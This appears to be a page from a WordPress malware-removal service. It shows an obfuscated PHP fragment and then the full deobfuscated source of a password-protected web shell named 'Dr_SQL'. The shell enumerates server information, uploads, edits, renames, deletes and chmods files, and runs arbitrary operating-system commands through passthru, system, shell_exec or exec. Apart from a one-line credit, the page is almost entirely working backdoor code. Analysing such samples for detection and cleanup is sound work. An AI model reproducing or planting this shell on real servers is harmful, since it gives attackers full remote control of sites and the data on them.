o4kvH; goto CedmQ; f23rd: goto jzkH_; goto rhPpK; oPCjJ: goto v0wY1; goto yzl3k; XToVw: rBBqM: goto f23rd; yzl3k: v0wY1: goto x3xsK; YbSP1: goto J2Cr4; goto k1OJX; q18g2: MCTRi: goto vnaCQ; vnaCQ: goto neyh7; goto bs__T; clSI0: } goto ewvC4; V_Dbg: goto rPXfb; goto ott8a; EZPmX: $FnNXv = $_GET["\143\x68"]; goto TP05G; zfip3: PNWpw: goto IL35G; pX2MU: goto jmuO5; goto WID8N; CR4S0: WgpI3: goto L5on0; uKyBZ: YK77U: goto fsqBj; W51pj: YXZFN: goto xoNDW; Njh9s: $Xvs78 = $Xvs78 ? "\74\146\x6f\x6e\164\40\x63\x6f\x6c\157\x72\x3a\x63\x72\x69\x6d\163\157\156\76\x4f\116\x3c\x2f\x66\157\156\x74\x3e" : "\x3c\146\157\x6e\164\x20\x63\x6f\x6c\157\162\x3d\43\143\x63\x66\146\x30\x30\x3e\x4f\x46\106\x3c\x2f\x66\157\x6e\x74\x3e"; goto UQR1z; Wi6gy: eDU0k: goto hz26z; ciH31: c7gdw: goto YuKLS; xe_FX: if (isset($_FILES["\165\160\146\x69\x6c\145"]["\x6e\x61\x6d\145"])) { goto NdD03; } goto EpA0H; UUvC9: goto Pkgha; goto lVQrr; PF1O4: FdMDL: goto PiJ_l; eqZUU: $vmxXz = php_uname(); goto sMF7z; Zp2dk: if (!isset($_REQUEST["\x78"])) { goto a91rG; } goto pvkNo; WhnXS: function ZtdUw($UZ_nm) { goto crOb3; Mxjkg: qNdS9: goto unm_y; cqPCx: MLi_L: goto Sb754; CmumZ: LKo4g: goto XM8wa; CZpZi: $MpgZ3 = explode(DIRECTORY_SEPARATOR, $UZ_nm); goto XkmXj; aymar: VXi7Y: goto r2U7G; IS5OT: goto uY37j; goto ik3ZD; VsXjN: pXnmt: goto x0uVG; G_J3L: yvjLQ: goto x76Hv; PDDWQ: E0nxo: goto BBMKZ; XkmXj: goto JjP0K; goto VsXjN; DZIc8: goto m2yZn; goto nhiuF; IaDmq: $xVxQv++; goto bCV1a; vTn67: QYZsX: goto WBHQV; sKg83: s5NXW: goto oJhG5; crOb3: goto qNdS9; goto W0u_z; WFSjA: uY37j: goto CNnc5; unm_y: if ($UZ_nm == '') { goto yvjLQ; } goto gGFoL; ybq_E: $xVxQv = 0; goto DZIc8; kDVYI: goto qd8b8; goto PDDWQ; SVQGi: goto NLoII; goto Mxjkg; WBHQV: goto ZXrLW; goto mbzzj; bCV1a: goto GuOkk; goto WFSjA; h3ong: m2yZn: goto USaJ9; s41Td: goto sg1O9; goto h3ong; x76Hv: goto pXnmt; goto OH2vw; W0BvV: sqCDv: goto cqPCx; RA9wX: qd8b8: goto aymar; unGpJ: goto s5NXW; goto Jwnic; Z9H0Z: goto svs2k; goto kMQMr; VpV71: if ($xVxQv < count($MpgZ3)) { goto QYZsX; } goto BGKfe; iP9uu: goto eYIZb; goto kDVYI; XM8wa: goto tG

Decoded(de-Obfuscated) php code

<?php

error_reporting(0);
$xgskw = "tunafeesh";
if (isset($_POST["pass"])) {
    if ($_POST["pass"] == $H5SHc) {
        setcookie($xgskw, $_POST["pass"], time() + 3600);
        goto zA4xf;
    }
    zA4xf:
    jYVfI();
    goto iAW9Q;
}
iAW9Q:
if (!empty($H5SHc) && !isset($_COOKIE[$xgskw]) or $_COOKIE[$xgskw] != $H5SHc) {
    G9tSP();
    die;
}
FaCHk:
$LJwjl = basename("/var/www/html/input.php");
$n3DGn = $_SERVER["SERVER_SOFTWARE"];
$vmxXz = php_uname();
$BxlmO = get_current_user() . " uid:" . getmyuid() . " gid:" . getmygid();
$Xvs78 = ini_get("safe_mode");
$Xvs78 = $Xvs78 ? "<font color:crimson>ON</font>" : "<font color=#ccff00>OFF</font>";
$q7XQs = getcwd();
$zFuFn = "#333333";
$vNk_u = "#999999";
$qwL0E = "<html><head><title>Dr_SQL</title><style>body {background:#333333;color:#999999;font-size:9pt;font-family:Trebuchet MS,cursive,sans serif;}h1#n{position:fixed;top:10px;left:10px;text-shadow:0px 0px 5px black;color:#79a317;}h1#nm{text-shadow:0px 0px 5px black;color:#79a317;}a {color:#999999;text-decoration:none;font-family:Comic Sans Ms,cursive,sans serif;}a:hover {color:#79a317;}hr {background:#999999;color:black;}p#bck{position:fixed;top:20px;right:20px;}#menu {position:fixed;bottom:0px;width:100%;font-size:13pt;}#menuB {background:#333333;box-shadow:0px 0px 10px black;border-radius:15px;padding:5px 20px 5px 20px;}table#moreI{font-size:9pt;background:#333333;border-radius:10px;box-shadow:0px 0px 10px black;padding:5px;position:fixed;bottom:40px;right:40px;display:none;}p#cp {font-size:11pt;}table#lt {font-size:10pt;}input#lt,input#sv {background:#333333;border-radius:10px;border:1px solid #999999;color:#999999;text-align:center;}input#ltb {background:rgba(0,0,0,0);border-radius:10px;color:#999999;box-shadow:0px 0px 1px #999999;border:0px solid rgba(0,0,0,0);}table#ft {font-size:9pt;padding:5px;border-radius:10px;box-shadow:0px 0px 10px black;}td#fh {border-bottom:1px solid #999999;padding-bottom:3px;}tr#fn:hover{box-shadow:0px 0px 5px black;}h3 {text-shadow:0px 0px 4px black;font-size:13pt;}textarea#edit {background:#333333;color:#999999;box-shadow:0px 0px 10px black;border-radius:10px;border:none;padding:10px;}</style><script type=\"text/javascript\">function get_inf() {if(document.getElementById('moreI').style.display==\"block\"){document.getElementById('moreI').style.display=\"none\"}else {document.getElementById('moreI').style.display=\"block\";}} function xyn(id1,id2) {document.getElementById(id1).style.display=\"block\";document.getElementById(id2).style.display=\"none\";}</script></head><body><h1 id=\"n\"><a href=\"?x=x\"></a></h1>";
$qdnm3 = "<center><p id=\"menu\"><span id=\"menuB\"><<a href=\"" . $LJwjl . "\">Home</a>> <<a href=\"?x=cmd&d=\"" . realpath(".") . "\">Command</a>> <<a href=\"?x=php&d=\"" . realpath(".") . "\">PHP</a>> <<a href=\"javascript:get_inf();\">Info</a>> <<a href=\"?x=q\">Logout</a>> </span></p></center>";
$Lt2Bw = "</body></html>";
$HGgUm = "<center><p id=\"inf\">||| <b><i><u>Software:</u></i></b> " . $n3DGn . "  |||  <b><i><u>Uname:</u></i></b> " . $vmxXz . " |||</br>||| <b><i><u>User:</u></i></b> " . $BxlmO . " ||| <b><i><u>Safe Mode:</u></i></b> " . $Xvs78 . " ||| <b><i><u>Directory: </i></b></u>" . $q7XQs . " |||</p></center><hr>";
print $qwL0E;
print $qdnm3;
print $HGgUm;
$PeYbu = array("PHP Version" => phpversion(), "Zend Version" => zend_version(), "Magic Quotes" => EjZBs(), "Curl" => t9QUU(), "Register Globals" => pHfm5(), "OpenBase Dir" => PFcmM(), "MySQL" => siYA2(), "Gzip" => erQ5V(), "MsSQL" => VYm2i(), "PostgreSQL" => hai6k(), "Oracle" => iB8xJ(), "Total Space" => K6rn3(disk_total_space("/")), "Used Space" => k6RN3(disk_free_space("/")), "Your IP" => $_SERVER["REMOTE_ADDR"], "Server IP" => $_SERVER["SERVER_ADDR"]);
print "<table id=\"moreI\">";
foreach ($PeYbu as $fthIk => $pydqp) {
    print "<td>" . $fthIk . "</td><td> :> </td><td> " . $pydqp . "</td><tr>";
}
print "<td colspan=3 align=\"center\"><a href=\"?x=phpinf\" target=\"_blank\">PHPInfo</a></td></table>";
if (isset($_GET["d"])) {
    chdir($_GET["d"]);
    goto D2vCj;
}
D2vCj:
if (!isset($_REQUEST["x"])) {
    if (isset($_GET["d"])) {
        chdir($_GET["d"]);
        goto t6zCy;
    }
    t6zCy:
    if (isset($_GET["ndir"])) {
        $UZ_nm = $_GET["d"];
        $fthIk = $_GET["ndir"];
        mkdir($UZ_nm . DIRECTORY_SEPARATOR . $fthIk);
        goto WjiHd;
    }
    WjiHd:
    if (isset($_POST["new"])) {
        $fthIk = $_POST["new"];
        $BaGOU = $_POST["old"];
        $UZ_nm = $_POST["d"];
        rename($UZ_nm . DIRECTORY_SEPARATOR . $BaGOU, $UZ_nm . DIRECTORY_SEPARATOR . $fthIk);
        goto LK_sg;
    }
    LK_sg:
    if (isset($_GET["deld"])) {
        $UZ_nm = $_GET["deld"];
        rmdir($UZ_nm);
        goto czqTY;
    }
    czqTY:
    if (isset($_GET["delf"])) {
        $UZ_nm = $_GET["delf"];
        unlink($UZ_nm);
        goto ec3fH;
    }
    ec3fH:
    if (isset($_GET["ch"])) {
        $FnNXv = $_GET["ch"];
        $UZ_nm = $_GET["df"];
        chmod($UZ_nm, $FnNXv);
        goto Wi6gy;
    }
    Wi6gy:
    if (isset($_FILES["upfile"]["name"])) {
        $UZ_nm = realpath(".") . DIRECTORY_SEPARATOR . basename($_FILES["upfile"]["name"]);
        move_uploaded_file($_FILES["upfile"]["tmp_name"], $UZ_nm);
        goto vUIIB;
    }
    vUIIB:
    print "<p align=\"center\" id=\"cp\">" . ZTdUW('') . "</p>";
    print "<table width=90% align=\"center\" id=\"lt\"cellpadding=\"0\"><td align=\"center\"><form action=\"?d=" . realpath(".") . "\" method=\"GET\">Create Dir: <input type=\"hidden\" name=\"d\" value=\"" . realpath(".") . "\" id=\"lt\"><input type=\"text\" value=\"\" name=\"ndir\" id=\"lt\"> <input type=\"submit\" value=\"Go\" id=\"lt\"></form></td><td align=\"center\"><form action=\"?d=\"" . realpath(".") . "\" method=\"GET\">Create File: <input type=\"hidden\" value=\"" . realpath(".") . "\" name=\"d\" id=\"lt\"><input type=\"hidden\" value=\"c\" name=\"x\"><input type=\"text\" value=\"\" name=\"f\" id=\"lt\"> <input type=\"submit\" value=\"Go\" id=\"lt\"></form></td><td align=\"center\"><form action=\"?x=cmd&d=" . realpath(".") . "\" method=\"POST\">Command: <input type=\"text\" value=\"\" name=\"cmd\" id=\"lt\"> <input type=\"submit\" value=\"Go\" id=\"lt\"></form></td><td align=\"center\"><form action=\"?d=" . realpath(".") . "\" method=\"POST\" enctype=\"multipart/form-data\">Upload: <input type=\"hidden\" value=\"100000000\" name=\"MAX_FILE_SIZE\"><input type=\"file\" name=\"upfile\" id=\"ltb\"> <input type=\"submit\" value=\"Go\" id=\"lt\"></form></td></table>";
    print "</br>";
    $XbJUM = array();
    $J79SO = array();
    print "<table width=\"75%\" align=\"center\" id=\"ft\" ><td id=\"fh\"><b>Name</b></td><td id=\"fh\" align=\"center\"><b>Permissions</b></td><td id=\"fh\" align=\"center\"><b>Owner</b></td><td id=\"fh\" align=\"center\"><b>Options</b></td><tr id=\"fn\">";
    if ($O4Bfj = opendir(".")) {
        TE6NV:
        if (false !== ($dQLVa = readdir($O4Bfj))) {
            if (!is_dir($dQLVa)) {
                $XbJUM[] .= $dQLVa;
                goto trER5;
            }
            hqwzy:
            $J79SO[] .= $dQLVa;
            trER5:
            goto TE6NV;
        }
        Q9c6E:
        asort($XbJUM);
        asort($J79SO);
        $xVxQv = 0;
        foreach ($J79SO as $dQLVa) {
            if (!(function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))) {
                $n6YNL["name"] = "???";
                $nBge1["name"] = "???";
                goto z4zyH;
            }
            lAtGs:
            $n6YNL = posix_getpwuid(fileowner($dQLVa));
            $nBge1 = posix_getgrgid(filegroup($dQLVa));
            z4zyH:
            print "<td id=\"fc\"><span id=\"n" . $dQLVa . "\"><a href=\"?d=" . realpath($dQLVa) . "\">" . $dQLVa . "</a></span><span id=\"r" . $dQLVa . "\" style=\"display:none;\"><form action=\"?d=" . realpath(".") . "\" method=\"POST\"><input type=\"hidden\" value=\"" . realpath(".") . "\" name=\"d\"> <input type=\"text\" value=\"" . $dQLVa . "\" id=\"lt\" name=\"new\"><input type=\"hidden\" value=\"" . $dQLVa . "\" name=\"old\"> <input type=\"submit\" id=\"lt\" value=\"Rename\"> <input type=\"button\" id=\"lt\" value=\"Cancel\" onClick=\"xyn('n" . $dQLVa . "','r" . $dQLVa . "');\"></form></span><span id=\"d" . $dQLVa . "\" style=\"display:none;\"><form action=\"?d=" . realpath(".") . "\" method=\"GET\">Are you Sure?<input type=\"hidden\" value=\"" . realpath($dQLVa) . "\" name=\"deld\"> <input type=\"submit\" value=\"Yes\" id=\"lt\"> <input type=\"button\" id=\"lt\" value=\"No\" onClick=\"xyn('n" . $dQLVa . "','d" . $dQLVa . "')\"></form></span></td><td id=\"fc\" align=\"center\"><span id=\"h" . $dQLVa . "\"><a href=\"javascript:xyn('c" . $dQLVa . "','h" . $dQLVa . "');\"><font color=\"" . Bk8sn($dQLVa) . "\">" . Gj6KX($dQLVa) . "</font></a></span><span id=\"c" . $dQLVa . "\" style=\"display:none;\"><form action=\"?d=" . realpath(".") . "\" method=\"GET\"><input type=\"hidden\" value=\"" . realpath($dQLVa) . "\" name=\"df\"><input type=\"text\" value=\"" . gJ6kx($dQLVa) . "\" id=\"lt\" name=\"ch\"> <input type=\"submit\" id=\"lt\" value=\"Go\"> <input type=\"button\" id=\"lt\" value=\"Cancel\" onClick=\"xyn('h" . $dQLVa . "','c" . $dQLVa . "');\"></form></span></td><td id=\"fc\" align=\"center\">" . $n6YNL["name"] . " : " . $nBge1["name"] . "</td>";
            if (!($xVxQv == 0 or $xVxQv == 1)) {
                print "<td id=\"fc\" align=\"center\"><a href=\"javascript:xyn('r" . $dQLVa . "','n" . $dQLVa . "')\">[R]</a> <a href=\"javascript:xyn('d" . $dQLVa . "','n" . $dQLVa . "')\">[D]</a></td><tr id=\"fn\">";
                goto Vfqgs;
            }
            yd_83:
            print "<td id=\"fc\"></td><tr id=\"fn\">";
            Vfqgs:
            $xVxQv++;
        }
        foreach ($XbJUM as $dQLVa) {
            if (!(function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))) {
                $n6YNL["name"] = "???";
                $nBge1["name"] = "???";
                goto HByXB;
            }
            uVoW_:
            $n6YNL = posix_getpwuid(fileowner($dQLVa));
            $nBge1 = posix_getgrgid(filegroup($dQLVa));
            HByXB:
            print "<td id=\"fc\"><span id=\"n" . $dQLVa . "\"><a href=\"?x=c&d=" . realpath(".") . "&f=" . $dQLVa . "\">" . $dQLVa . "</a></span><span id=\"r" . $dQLVa . "\" style=\"display:none;\"><form action=\"?d=" . realpath(".") . "\" method=\"POST\"><input type=\"hidden\" value=\"" . realpath(".") . "\" name=\"d\"> <input type=\"text\" id=\"lt\" value=\"" . $dQLVa . "\" name=\"new\"><input type=\"hidden\" value=\"" . $dQLVa . "\" name=\"old\"><input type=\"submit\" id=\"lt\" value=\"Rename\"><input type=\"button\" id=\"lt\" value=\"Cancel\" onClick=\"xyn('n" . $dQLVa . "','r" . $dQLVa . "');\"></form></span><span id=\"d" . $dQLVa . "\" style=\"display:none;\"><form action=\"?d=" . realpath(".") . "\" method=\"GET\">Are you Sure?<input type=\"hidden\" value=\"" . realpath($dQLVa) . "\" name=\"delf\"> <input type=\"submit\" value=\"Yes\" id=\"lt\"> <input type=\"button\" id=\"lt\" value=\"No\" onClick=\"xyn('n" . $dQLVa . "','d" . $dQLVa . "')\"></form></span></td><td id=\"fc\" align=\"center\"><span id=\"h" . $dQLVa . "\"><a href=\"javascript:xyn('c" . $dQLVa . "','h" . $dQLVa . "');\"><font color=\"" . Bk8sn($dQLVa) . "\">" . gj6Kx($dQLVa) . "</font></a></span><span id=\"c" . $dQLVa . "\" style=\"display:none;\"><form action=\"?d=" . realpath(".") . "\" method=\"GET\"><input type=\"hidden\" value=\"" . realpath($dQLVa) . "\" name=\"df\"><input type=\"text\" value=\"" . gj6kX($dQLVa) . "\" id=\"lt\" name=\"ch\"> <input type=\"submit\" id=\"lt\" value=\"Go\"> <input type=\"button\" id=\"lt\" value=\"Cancel\" onClick=\"xyn('h" . $dQLVa . "','c" . $dQLVa . "');\"></form></span></td><td id=\"fc\" align=\"center\">" . $n6YNL["name"] . " : " . $nBge1["name"] . "</td><td id=\"fc\" align=\"center\"><a href=\"javascript:xyn('r" . $dQLVa . "','n" . $dQLVa . "')\">[R]</a> <a href=\"javascript:xyn('d" . $dQLVa . "','n" . $dQLVa . "');\">[D]</a></td><tr id=\"fn\">";
        }
        goto hl0_t;
    }
    hl0_t:
    print "</table></br></br></br>";
    goto I876H;
}
jRnrU:
print "<p id=\"bck\"><a href=\"?d=" . realpath(".") . "\">BACK</a></p>";
switch ($_REQUEST["x"]) {
    case "c":
        if (isset($_POST["edit_form"])) {
            $GRvwz = $_GET["f"];
            $wMFTX = fopen($GRvwz, "w") or print "<p id=\"nn\">Error Opening File</p>";
            fwrite($wMFTX, $_POST["edit_form"]) or print "<p id=\"nn\">Couldn't Save File</p>";
            fclose($wMFTX);
            goto tZvju;
        }
        tZvju:
        print "<center><p>Editing " . $_GET["f"] . " (" . gJ6KX($_GET["d"] . $_GET["f"]) . ") .</p></br></br><form action=\"?x=c&d=" . realpath(".") . "&f=" . $_GET["f"] . "\" method=\"POST\"><textarea cols=90 rows=15 name=\"edit_form\" id=\"edit\">";
        if (file_exists($_GET["f"])) {
            $rcGGr = file($_GET["f"]);
            foreach ($rcGGr as $k4WHX) {
                print htmlspecialchars($k4WHX);
            }
            goto JLcPQ;
        }
        JLcPQ:
        print "</textarea></br></br><input type=\"submit\" value=\"Save\" id=\"sv\"></form></center>";
        goto UCkn1;
    case "cmd":
        print "</br></br><center><h3>Execute Command</h3><form action=\"?x=cmd&d=" . realpath(".") . "\" method=\"POST\"><input type=\"text\" value=\"\" name=\"cmd\" id=\"lt\">  <input type=\"submit\" value=\"Go\" id=\"lt\"></form></br><textarea cols=90 rows=15 id=\"edit\">";
        if (isset($_POST["cmd"])) {
            $vIVkB = $_POST["cmd"];
            xzTKb(tP8RU(), $vIVkB);
            goto Hs7s2;
        }
        Hs7s2:
        print "</textarea></center>";
        goto UCkn1;
    case "php":
        print "</br></br><center><h3>PHP Code</h3><form action=?x=php&d=\"" . realpath(".") . "\" method=\"POST\"><input type=\"text\" value=\"\" name=\"pcode\" id=\"lt\"> <input type=\"submit\" value=\"Go\" id=\"lt\"></form></br><textarea cols=90 rows=15 id=\"edit\">";
        print "</textarea></center>";
        goto UCkn1;
    case "phpinf":
        phpinfo();
        goto UCkn1;
    case "q":
        setcookie($xgskw, '', time() - 3600);
        jYVfi();
        goto UCkn1;
    case "x":
        print "</br></br></br><center><h1 id=\"nm\"></h1><h3>Mail: <a href=\"mailto:>COM\"></a></h3><h3>Twitter: <a href=\"http://www.twitter.com/X0MB13_\" target=\"_blank\"></a></h3><h3>Facebook: <a href=\"http://www.fb.com/xombie.xombie.7\" target=\"_blank\">X0MB13</a></h3></center>";
        goto UCkn1;
}
UCkn1:
I876H:
function PFcmM()
{
    $OPPW2 = ini_get("open_basedir");
    if ($OPPW2) {
        $BaGOU = "<font color=crimson>ON</font>";
        goto bmOoJ;
    }
    xuTy8:
    $BaGOU = "<font color=#ccff00>OFF</font>";
    bmOoJ:
    return $BaGOU;
}
function EjZbS()
{
    $OPPW2 = get_magic_quotes_gpc();
    if (!empty($OPPW2)) {
        $JHuVh = "<font color=crimson>ON</font>";
        goto rWc0A;
    }
    V_GGn:
    $JHuVh = "<font color=#ccff00>OFF</font>";
    rWc0A:
    return $JHuVh;
}
function T9QuU()
{
    if (!extension_loaded("curl")) {
        $rcGGr = "<font color=#ccff00>OFF</font>";
        goto d1RMk;
    }
    pZDJ1:
    $rcGGr = "<font color=crimson>ON</font>";
    d1RMk:
    return $rcGGr;
}
function PhFM5()
{
    if (!ini_get("reqister_globals")) {
        $NTnD0 = "<font color=#ccff00>OFF</font>";
        goto mcgeo;
    }
    FR4pQ:
    $NTnD0 = "<font color=crimson>ON</font>";
    mcgeo:
    return $NTnD0;
}
function ib8Xj()
{
    if (!function_exists("TpMru")) {
        $BaGOU = "<font color=#ccff00>OFF</font>";
        goto SHRe5;
    }
    fnPV7:
    $BaGOU = "<font color=crimson>ON</font>";
    SHRe5:
    return $BaGOU;
}
function hAI6k()
{
    if (!function_exists("qWegj")) {
        $iUQgu = "<font color=#ccff00>OFF</font>";
        goto kKPiM;
    }
    ifHUt:
    $iUQgu = "<font color=crimson>ON</font>";
    kKPiM:
    return $iUQgu;
}
function sIYA2()
{
    if (!function_exists("IkFGd")) {
        $JHuVh = "<font color=#ccff00>OFF</font>";
        goto SYu1L;
    }
    hIMhQ:
    $JHuVh = "<font color=crimson>ON</font>";
    SYu1L:
    return $JHuVh;
}
function vYM2I()
{
    if (!function_exists("DWo0R")) {
        $JHuVh = "<font color=#ccff00>OFF</font>";
        goto xw48t;
    }
    zsA7x:
    $JHuVh = "<font color=crimson>ON</font>";
    xw48t:
    return $JHuVh;
}
function eRQ5v()
{
    if (!function_exists("gzencode")) {
        $JHuVh = "<font color=#ccff00>OFF</font>";
        goto MCTRi;
    }
    HTnGz:
    $JHuVh = "<font color=crimson>ON</font>";
    MCTRi:
    return $JHuVh;
}
function k6rN3($UAt_y)
{
    if (!($UAt_y >= 1073741824)) {
        if (!($UAt_y >= 1048576)) {
            if (!($UAt_y >= 1024)) {
                $UAt_y .= "B";
                goto lMo0q;
            }
            Y2AxW:
            $UAt_y = round($UAt_y / 1024 * 100) / 100 . "KB";
            goto qXI_4;
        }
        HEeCd:
        $UAt_y = round($UAt_y / 1048576 * 100) / 100 . "MB";
        goto lMo0q;
    }
    RCeCp:
    $UAt_y = round($UAt_y / 1073741824 * 100) / 100 . "GB";
    qXI_4:
    lMo0q:
    return $UAt_y;
}
function ZtdUw($UZ_nm)
{
    if ($UZ_nm == '') {
        $UZ_nm = getcwd();
        goto CmumZ;
    }
    CmumZ:
    $iUQgu = '';
    $fthIk = '';
    $MpgZ3 = explode(DIRECTORY_SEPARATOR, $UZ_nm);
    $xVxQv = 0;
    eYIZb:
    if ($xVxQv < count($MpgZ3)) {
        $oSn4a = $MpgZ3[$xVxQv];
        $iUQgu .= $MpgZ3[$xVxQv] . DIRECTORY_SEPARATOR;
        $fthIk .= "<a href=\"?d=" . $iUQgu . "\">" . $oSn4a . "</a>" . DIRECTORY_SEPARATOR;
        $xVxQv++;
        goto eYIZb;
    }
    aymar:
    return $fthIk;
}
function bk8SN($GRvwz)
{
    if (is_writable($GRvwz)) {
        $rcGGr = "#ccff00";
        goto CUx37;
    }
    CUx37:
    if (!is_writable($GRvwz) && is_readable($GRvwz)) {
        $rcGGr = '' . $vNk_u . '';
        goto qLVuv;
    }
    qLVuv:
    if (!is_writable($GRvwz) && !is_readable($GRvwz)) {
        $rcGGr = "crimson";
        goto peTw0;
    }
    peTw0:
    return $rcGGr;
}
function Gj6KX($GRvwz)
{
    if (!file_exists($GRvwz)) {
        return "???";
    }
    XiXyy:
    return substr(sprintf("%o", fileperms($GRvwz)), 4);
}
function tp8ru()
{
    if (!function_exists("passthru")) {
        goto uHMim;
    }
    $JHuVh = "passthru";
    uHMim:
    if (!function_exists("exec")) {
        goto Jm06v;
    }
    $JHuVh = "exec";
    Jm06v:
    if (!function_exists("shell_exec")) {
        goto Dm_CJ;
    }
    $JHuVh = "shell_exec";
    Dm_CJ:
    if (!function_exists("system")) {
        goto hDpuE;
    }
    $JHuVh = "system";
    hDpuE:
    if (!isset($JHuVh)) {
        $JHuVh = "Disabled";
        goto YhseN;
    }
    YhseN:
    return $JHuVh;
}
function XzTkb($JHuVh, $rcGGr)
{
    if (!($JHuVh == "passthru")) {
        if (!($JHuVh == "system")) {
            if (!($JHuVh == "shell_exec")) {
                if (!($JHuVh == "exec")) {
                    print "dafuq?";
                    goto YOI4p;
                }
                BlYzA:
                exec($rcGGr, $NTnD0);
                foreach ($NTnD0 as $BaGOU) {
                    print $BaGOU . "</br>";
                }
                goto LP5gQ;
            }
            cTapx:
            print shell_exec($rcGGr);
            goto YOI4p;
        }
        b5jfp:
        system($rcGGr);
        goto YOI4p;
    }
    gU1PC:
    passthru($rcGGr);
    LP5gQ:
    YOI4p:
}
function G9tSp()
{
    print "<table border=0 width=100% height=100% align=center style=\"background:#333333;color:silver;\"><td valign=\"middle\"><center><form action=\"" . basename("/var/www/html/input.php") . "\" method=\"POST\">Password <input type=\"password\" maxlength=\"10\" name=\"pass\" style=\"background:#333333;color:silver;border-radius:10px;border:1px solid silver;text-align:center;\"> <input type=\"submit\" value=\">>\" style=\"background:#333333;color:silver;border-radius:10px;border:1px solid silver;\"></form></center></td></table>";
}
function JyvFI()
{
    header("Location: " . basename("/var/www/html/input.php"));
}
print $Lt2Bw;


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.